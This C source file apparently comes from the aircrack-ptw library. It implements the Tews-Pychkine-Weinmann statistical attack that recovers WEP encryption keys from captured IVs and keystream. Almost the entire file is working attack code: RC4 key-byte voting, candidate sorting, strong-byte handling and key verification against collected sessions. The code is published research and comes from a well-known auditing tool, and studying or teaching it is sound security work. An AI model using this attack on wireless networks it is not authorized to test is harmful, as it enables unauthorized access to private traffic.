1/*-
2 * Copyright (c) 2007, Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann
3 *		       <aircrack-ptw@cdc.informatik.tu-darmstadt.de>
4 * All rights reserved.
5 *
6 * Redistribution and use in source and binary forms, with or without
7 * modification, are permitted provided that the following conditions
8 * are met:
9 * 1. Redistributions of source code must retain the above copyright
10 *    notice, this list of conditions and the following disclaimer.
11 * 2. Redistributions in binary form must reproduce the above copyright
12 *    notice, this list of conditions and the following disclaimer in the
13 *    documentation and/or other materials provided with the distribution.
14 *
15 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
16 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
17 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
18 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
19 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
20 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
21 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
22 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
23 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
24 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
25 * SUCH DAMAGE.
26 *
27 * $FreeBSD$
28 */
29#include <string.h>
30#include <stdio.h>
31#include <stdlib.h>
32#include "aircrack-ptw-lib.h"
33
34
35#define n PTW_n
36#define CONTROLSESSIONS PTW_CONTROLSESSIONS
37#define KEYHSBYTES PTW_KEYHSBYTES
38#define KSBYTES PTW_KSBYTES
39#define IVBYTES PTW_IVBYTES
40#define TESTBYTES 6
41
42
43// Internal state of rc4
44typedef struct {
45	uint8_t i;
46	uint8_t j;
47	uint8_t s[n];
48} rc4state;
49
50
51// Helper structures for sorting
52typedef struct {
53	int keybyte;
54	uint8_t value;
55	int distance;
56} sorthelper;
57
58typedef struct {
59	int keybyte;
60	double difference;
61} doublesorthelper;
62
63// The rc4 initial state, the idendity permutation
64static const uint8_t rc4initial[] =
65{0,1,2,3,4,5,6,7,8,9,10,
6611,12,13,14,15,16,17,18,19,20,
6721,22,23,24,25,26,27,28,29,30,
6831,32,33,34,35,36,37,38,39,40,
6941,42,43,44,45,46,47,48,49,50,
7051,52,53,54,55,56,57,58,59,60,
7161,62,63,64,65,66,67,68,69,70,
7271,72,73,74,75,76,77,78,79,80,
7381,82,83,84,85,86,87,88,89,90,
7491,92,93,94,95,96,97,98,99,100,
75101,102,103,104,105,106,107,108,109,110,
76111,112,113,114,115,116,117,118,119,120,
77121,122,123,124,125,126,127,128,129,130,
78131,132,133,134,135,136,137,138,139,140,
79141,142,143,144,145,146,147,148,149,150,
80151,152,153,154,155,156,157,158,159,160,
81161,162,163,164,165,166,167,168,169,170,
82171,172,173,174,175,176,177,178,179,180,
83181,182,183,184,185,186,187,188,189,190,
84191,192,193,194,195,196,197,198,199,200,
85201,202,203,204,205,206,207,208,209,210,
86211,212,213,214,215,216,217,218,219,220,
87221,222,223,224,225,226,227,228,229,230,
88231,232,233,234,235,236,237,238,239,240,
89241,242,243,244,245,246,247,248,249,250,
90251,252,253,254,255};
91
92
93// Values for p_correct_i
94static const double eval[] = {
950.00534392069257663,
960.00531787585068872,
970.00531345769225911,
980.00528812219217898,
990.00525997750378221,
1000.00522647312237696,
1010.00519132541143668,
1020.0051477139367225,
1030.00510438884847959,
1040.00505484662057323,
1050.00500502783556246,
1060.00495094196451801,
1070.0048983441590402};
108
109// For sorting
110static int compare(const void * ina, const void * inb) {
111        PTW_tableentry * a = (PTW_tableentry * )ina;
112        PTW_tableentry * b = (PTW_tableentry * )inb;
113        if (a->votes > b->votes) {
114                return -1;
115        } else if (a->votes == b->votes) {
116                return 0;
117        } else {
118                return 1;
119        }
120}
121
122// For sorting
123static int comparedoublesorthelper(const void * ina, const void * inb) {
124        doublesorthelper * a = (doublesorthelper * )ina;
125        doublesorthelper * b = (doublesorthelper * )inb;
126        if (a->difference > b->difference) {
127                return 1;
128        } else if (a->difference == b->difference) {
129                return 0;
130        } else {
131                return -1;
132        }
133}
134
135
136// RC4 key setup
137static void rc4init ( uint8_t * key, int keylen, rc4state * state) {
138	int i;
139	int j;
140	uint8_t tmp;
141	memcpy(state->s, &rc4initial, n);
142	j = 0;
143	for (i = 0; i < n; i++) {
144		j = (j + state->s[i] + key[i % keylen]) % n;
145		tmp = state->s[i];
146		state->s[i] = state->s[j];
147		state->s[j] = tmp;
148	}
149	state->i = 0;
150	state->j = 0;
151}
152
153// RC4 key stream generation
154static uint8_t rc4update(rc4state * state) {
155	uint8_t tmp;
156	uint8_t k;
157	state->i++;
158	state->j += state->s[state->i];
159	tmp = state->s[state->i];
160	state->s[state->i] = state->s[state->j];
161	state->s[state->j] = tmp;
162	k = state->s[state->i] + state->s[state->j];
163
164	return state->s[k];
165}
166
167// For sorting
168static int comparesorthelper(const void * ina, const void * inb) {
169	sorthelper * a = (sorthelper * ) ina;
170	sorthelper * b = (sorthelper * ) inb;
171	if (a->distance > b->distance) {
172		return 1;
173	} else if (a->distance == b->distance) {
174		return 0;
175	} else {
176		return -1;
177	}
178}
179
180/*
181 * Guess the values for sigma_i
182 * iv - IV which was used for this packet
183 * keystream - keystream recovered
184 * result - buffer for the values of sigma_i
185 * kb - how many keybytes should be guessed
186 */
187static void guesskeybytes(uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) {
188        uint8_t state[n];
189        uint8_t j = 0;
190        uint8_t tmp;
191        int i;
192        int jj = IVBYTES;
193        uint8_t ii;
194        uint8_t s = 0;
195        memcpy(state, rc4initial, n);
196        for (i = 0; i < IVBYTES; i++) {
197                j += state[i] + iv[i];
198                tmp = state[i];
199                state[i] = state[j];
200                state[j] = tmp;
201        }
202        for (i = 0; i < kb; i++) {
203                tmp = jj - keystream[jj-1];
204                ii = 0;
205                while(tmp != state[ii]) {
206                        ii++;
207                }
208                s += state[jj];
209                ii -= (j+s);
210                result[i] = ii;
211                jj++;
212        }
213        return;
214}
215
216/*
217 * Is a guessed key correct?
218 */
219static int correct(PTW_attackstate * state, uint8_t * key, int keylen) {
220	int i;
221        int j;
222        uint8_t keybuf[PTW_KSBYTES];
223        rc4state rc4state;
224
225        for (i = 0; i < state->sessions_collected; i++) {
226                memcpy(&keybuf[IVBYTES], key, keylen);
227                memcpy(keybuf, state->sessions[i].iv, IVBYTES);
228                rc4init(keybuf, keylen+IVBYTES, &rc4state);
229                for (j = 0; j < TESTBYTES; j++) {
230                        if  ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) {
231                                return 0;
232                        }
233                }
234        }
235        return 1;
236}
237
238/*
239 * Calculate the squaresum of the errors for both distributions
240 */
241static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) {
242        int i,j;
243	int numvotes = 0;
244        double e;
245	double e2;
246	double emax;
247        double help = 0.0;
248	double maxhelp = 0;
249	double maxi = 0;
250        for (i = 0; i < n; i++) {
251                numvotes += orgtable[0][i].votes;
252        }
253        e = numvotes/n;
254        for (i = 0; i < keylen; i++) {
255		emax = eval[i] * numvotes;
256		e2 = ((1.0 - eval[i])/255.0) * numvotes;
257		normal[i] = 0;
258		ausreiser[i] = 0;
259		maxhelp = 0;
260		maxi = 0;
261		for (j = 0; j < n; j++) {
262			if (orgtable[i][j].votes > maxhelp) {
263				maxhelp = orgtable[i][j].votes;
264				maxi = j;
265			}
266		}
267                for (j = 0; j < n; j++) {
268			if (j == maxi) {
269				help = (1.0-orgtable[i][j].votes/emax);
270			} else {
271				help = (1.0-orgtable[i][j].votes/e2);
272			}
273			help = help*help;
274			ausreiser[i] += help;
275			help = (1.0-orgtable[i][j].votes/e);
276			help = help*help;
277			normal[i] += help;
278                }
279        }
280}
281
282/*
283 * Guess a single keybyte
284 */
285static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes) {
286	int i;
287	uint8_t tmp;
288	if (keybyte == keylen) {
289		return correct(state, key, keylen);
290	} else if (strongbytes[keybyte] == 1) {
291		// printf("assuming byte %d to be strong\n", keybyte);
292		tmp = 3 + keybyte;
293		for (i = keybyte-1; i >= 1; i--) {
294			tmp += 3 + key[i] + i;
295			key[keybyte] = 256-tmp;
296			if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (256-tmp+sum)%256, strongbytes) == 1) {
297				printf("hit with strongbyte for keybyte %d\n", keybyte);
298				return 1;
299			}
300		}
301		return 0;
302	} else if (keybyte == fixat) {
303		key[keybyte] = fixvalue-sum;
304		return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes);
305	} else {
306		for (i = 0; i < searchborders[keybyte]; i++) {
307			key[keybyte] = sortedtable[keybyte][i].b - sum;
308			if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes) == 1) {
309				return 1;
310			}
311		}
312		return 0;
313	}
314}
315
316/*
317 * Do the actual computation of the key
318 */
319static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit) {
320	int i,j;
321	int choices[KEYHSBYTES];
322	int prod;
323	int fixat;
324	int fixvalue;
325
326	for (i = 0; i < keylen; i++) {
327		if (strongbytes[i] == 1) {
328			choices[i] = i;
329		} else {
330			choices[i] = 1;
331		}
332	}
333	i = 0;
334	prod = 0;
335	fixat = -1;
336	fixvalue = 0;
337
338	while(prod < keylimit) {
339		if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes) == 1) {
340			// printf("hit with %d choices\n", prod);
341			return 1;
342		}
343		choices[sh2[i].keybyte]++;
344		fixat = sh2[i].keybyte;
345		// printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]);
346		fixvalue = sh2[i].value;
347		prod = 1;
348		for (j = 0; j < keylen; j++) {
349			prod *= choices[j];
350		}
351		do {
352			i++;
353		} while (strongbytes[sh2[i].keybyte] == 1);
354
355	}
356	return 0;
357}
358
359
360/*
361 * Guess which key bytes could be strong and start actual computation of the key
362 */
363int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit) {
364	int strongbytes[KEYHSBYTES];
365	double normal[KEYHSBYTES];
366	double ausreisser[KEYHSBYTES];
367	doublesorthelper helper[KEYHSBYTES];
368	int simple, onestrong, twostrong;
369	int i,j;
370
371	onestrong = (testlimit/10)*2;
372	twostrong = (testlimit/10)*1;
373	simple = testlimit - onestrong - twostrong;
374
375	PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
376	if (table == NULL) {
377		printf("could not allocate memory\n");
378		exit(-1);
379	}
380	memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
381
382	// now, sort the table
383	for (i = 0; i < keylen; i++) {
384                qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
385		strongbytes[i] = 0;
386        }
387
388	sorthelper (* sh)[n-1] = alloca(sizeof(sorthelper) * (n-1) * keylen);
389	if (sh == NULL) {
390		printf("could not allocate memory\n");
391		exit(-1);
392	}
393
394
395	for (i = 0; i < keylen; i++) {
396		for (j = 1; j < n; j++) {
397			sh[i][j-1].distance = table[i][0].votes - table[i][j].votes;
398			sh[i][j-1].value = table[i][j].b;
399			sh[i][j-1].keybyte = i;
400		}
401	}
402	qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper);
403
404
405	if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple)) {
406		return 1;
407	}
408
409	// Now one strong byte
410	getdrv(state->table, keylen, normal, ausreisser);
411	for (i = 0; i < keylen-1; i++) {
412		helper[i].keybyte = i+1;
413		helper[i].difference = normal[i+1] - ausreisser[i+1];
414	}
415	qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper);
416	strongbytes[helper[0].keybyte] = 1;
417	if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong)) {
418		return 1;
419	}
420
421	// two strong bytes
422	strongbytes[helper[1].keybyte] = 1;
423	if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong)) {
424		return 1;
425	}
426
427	return 0;
428}
429
430/*
431 * Add a new session to the attack
432 * state - state of attack
433 * iv - IV used in the session
434 * keystream - recovered keystream from the session
435 */
436int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) {
437	int i;
438	int il;
439	int ir;
440	uint8_t buf[PTW_KEYHSBYTES];
441
442	i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
443	il = i/8;
444	ir = 1 << (i%8);
445	if ((state->seen_iv[il] & ir) == 0) {
446		state->packets_collected++;
447		state->seen_iv[il] |= ir;
448		guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES);
449                for (i = 0; i < KEYHSBYTES; i++) {
450                	state->table[i][buf[i]].votes++;
451                }
452		if (state->sessions_collected < CONTROLSESSIONS) {
453			memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
454			memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES);
455			state->sessions_collected++;
456		}
457		return 1;
458	} else {
459		return 0;
460	}
461}
462
463/*
464 * Allocate a new attackstate
465 */
466PTW_attackstate * PTW_newattackstate() {
467	int i,k;
468	PTW_attackstate * state = NULL;
469	state = malloc(sizeof(PTW_attackstate));
470	if (state == NULL) {
471		return NULL;
472	}
473	bzero(state, sizeof(PTW_attackstate));
474	for (i = 0; i < PTW_KEYHSBYTES; i++) {
475                for (k = 0; k < n; k++) {
476                        state->table[i][k].b = k;
477                }
478        }
479        return state;
480}
481
482/*
483 * Free an allocated attackstate
484 */
485void PTW_freeattackstate(PTW_attackstate * state) {
486	free(state);
487	return;
488}
489
490